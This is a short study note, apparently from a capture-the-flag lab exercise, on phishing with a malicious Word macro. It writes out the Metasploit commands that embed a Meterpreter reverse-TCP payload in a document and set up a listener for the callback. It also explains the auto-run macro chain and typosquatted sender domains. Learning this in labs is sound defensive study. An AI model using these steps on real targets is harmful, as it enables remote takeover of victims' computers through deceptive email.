18 Dec 2024
Phishing He had a brain full of macros, and had shells in his soul.Usually has the purpose of stealing personal information or install malware by having the target fill out a form, open a file, or click a link.
To-Dos:
Can either create a document and embed a malicious macro or use Metasploit Framework to create the document. This guide is using Metasploit:
msfconsoleset payload windows/meterpreter/reverse_tcpuse exploit/multi/fileformat/office_word_macro though technically not an exploit.set LHOST <ip_address>set LPORT 8888show options to see the configuration options and make sure everything is correctexploit to generate the macro and embed it in a documentexitAutoOpen() triggeres the macro automatically when the doc is opened. It then searches the properties of the document for the payload which is stored in the comments field, encoded in base64.Base64Decode() converts the payload to it’s original form, a Windows executable.ExecuteForWindows() executes the payload in a temprary directory, connecting back to the attacker’s system IP and port specified.Interesting notes:
base64 -d payload-base64.txt > payload.exe then ls -lh to view file sizes as text and executable.Can use MSF to listen to connections coming from our executable. Need to test to see if netcat can also be used to receive connections.
msfconsoleuse multi/handler to handle incoming connectionsset payload windows/meterpreter/reverse_tcp to ensure payload works with the payload created earlierset LHOST <ip_address> to match the IP used in the earlier payloadset LPORT 8888 to match earliershow options to confirm optionsexploit to start listeningIn this example, the attacker is using email from the socnas.thm domain sending to the target on the socmas.thm domain. This technique is called “typosquatting,” where the malicious domain name is nearly identical to the legitimate one. Exercise is setup so a vm opens the document upon receipt, so not long after hitting send Meterpreter lights up.
Bonus Note - In linux, use CTRL+H to view hidden directories.
Use the reverse shell to find the flag.
The Phishing module.